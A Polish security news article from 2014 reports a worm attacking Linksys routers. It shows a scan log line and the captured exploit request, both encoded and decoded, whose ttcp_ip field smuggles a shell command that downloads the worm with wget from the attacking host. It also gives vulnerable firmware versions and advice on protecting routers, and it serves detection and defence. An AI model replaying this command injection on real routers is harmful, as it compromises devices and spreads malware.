Internetowy robak infekuje niezabezpieczone rutery Linksysa

dodał 13 lutego 2014 o 14:37 w kategorii Włamania  z tagami:
Internetowy robak infekuje niezabezpieczone rutery Linksysa

Od co najmniej kilku tygodni internet przemierza robak, wykorzystujący nieznany błąd w wielu modelach ruterów Linksysa. Skanuje adresy IP, włamuje się do niezabezpieczonych urządzeń i wykorzystuje je do skanowania. Jak go rozpoznać?

O robaku po raz pierwszy przeczytaliśmy wczoraj w serwisie Internet Storm Center. Badacze ISC zauważyli, że coś regularnie skanuje porty 80 oraz 8080 ich honeypotów. Udało im się także złapać pierwszą próbę infekcji. Niestety sam robak do tej pory wymyka się analizie.

Jak zauważyć robaka

Jeden z operatorów telekomunikacyjnych zgłosił problem do ISC, ponieważ robak wysycał łącza jego klientów, skanując internet w poszukiwaniu podatnych urządzeń. Próbę takiego skanowania łatwo rozpoznać w logach dostępowych serwera www. Wygląda ona tak:

xx.95.189.69 - admin [08/Jan/2014:15:19:29] "GET /HNAP1/ HTTP/1.0" "" "Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224"

Elementem stałym jest żądanie GET do protokołu HNAP, podczas kiedy pole identyfikacji przeglądarki jest generowane losowo i rzadko się powtarza. Wywołań „GET /HNAP1/” możecie znaleźć w logach więcej (jest to plon starej dziury w D-Linkach), jednak tego robaka łatwo odróżnić, ponieważ w swoim zapytaniu używa pustego loginu oraz hasła „admin” – jest to domyślna kombinacja dla niektórych ruterów Linksysa. Sprawdźcie swoje logi – powinniście znaleźć co najmniej kilka wystąpień począwszy od października zeszłego roku (przykład tutaj – dzięki Marcin!.

Prawdopodobnie podatny model E4200

Prawdopodobnie podatny model E4200

Jak przebiega atak

Robak najpierw testuje, czy pod adresem IP znajduje się ruter z domyślnym hasłem administratora (jak powyżej). Drugi etap ataku ISC złapało na swoim honeypocie. Jest to następujące żądanie do serwera:

POST /[withheld].cgi HTTP/1.1
Host: [ip of honeypot]:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[ip of honeypot]:8080/
Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH 
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 518

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63
%74%69%6f%6e%3d&%73%75%62%6d%69%74%5f%74%79%70%65%3d&%61%63%74%69%6f
%6e%3d&%63%6f%6d%6d%69%74%3d%30&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74
%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63
%64%20%2f%74%6d%70%3b%69%66%20%5b%20%21%20%2d%65%20%2e%4c%32%36%20
%5d%3b%74%68%65%6e%20%77%67%65%74%20%68%74%74%70%3a%2f%2f%xx%xx%2e
%xx%xx%xx%2e%xx%xx%xx%2e%xx%xx%xx%3a%31%39%33%2f%30%52%78%2e%6d%69
%64%3b%66%69%60&%53%74%61%72%74%45%50%49%3d%31

Co prawda ISC ukryło fragment ścieżki, ale na 99% jest to „apply.cgi” – bardzo podobny atak na niektóre modele Linksysa, opierający się o brak weryfikacji parametrów zapytania do takiej własnie ścieżki opublikowała kilka miesięcy temu firma TrustWave.

Zakodowane polecenie po odkodowaniu wygląda tak:

submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2
&ttcp_ip=-h
    `cd /tmp;if [ ! -e .L26 ];then wget http://[source IP]:193/0Rx.mid;fi`
&StartEPI=1

Wygląda to na klasyczny brak weryfikacji treści przekazywanego parametru. Błąd ten jest wykorzystywany do pobrania kodu robaka z tego samego adresu IP, który przeprowadzał atak. Niestety sam robak dopiero co wpadł w ręce badaczy (każda pobrana próbka pliku ELF ma inny hasz MD5) i nie został jeszcze przeanalizowany, więc nie wiemy, jakie wykonuje operacje.

Które rutery są podatne

ISC twierdzi, że podatne są modele Linksys E1000 (wszystkie wersje) oraz Linksys E1200 z oprogramowaniem starszym niż 2.0.06. My przeanalizowaliśmy adresy IP przeprowadzające atak i znaleźliśmy wśród nich również modele E1500, E2500, E3200 oraz E4200 w poniższych wersjach:

  • E1000 2.1.01 build 5
  • E1200 1.0.00 build 11
  • E1200 2.0.04 build 1
  • E1200 2.0.05 build 2
  • E1200 2.0.06 build 6
  • E1500 1.0.01 build 4
  • E1500 1.0.04 build 2
  • E2500 1.0.01 build 3
  • E2500 1.0.03 build 4
  • E2500 1.0.04 build 1
  • E2500 1.0.05 build 1
  • E2500 1.0.05 build 2
  • E2500 1.0.07 build 1
  • E3200 1.0.00 build 13
  • E3200 1.0.01 build 3
  • E3200 1.0.03 build 9
  • E3200 1.0.04 build 1
  • E4200 1.0.02 build 13
  • E4200 1.0.04 build 11
  • E4200 1.0.05 build 7

Co ciekawe, nie byłby to pierwszy robak, który infekuje rutery Linksysa.

Jak się zabezpieczyć?

Przede wszystkim rekomendujemy wyłączenie zdalnego dostępu do rutera, a po drugie zmianę domyślnego hasła do panelu administratora. Jeśli już to zrobiliście, to ten atak nie powinien Wam zagrozić.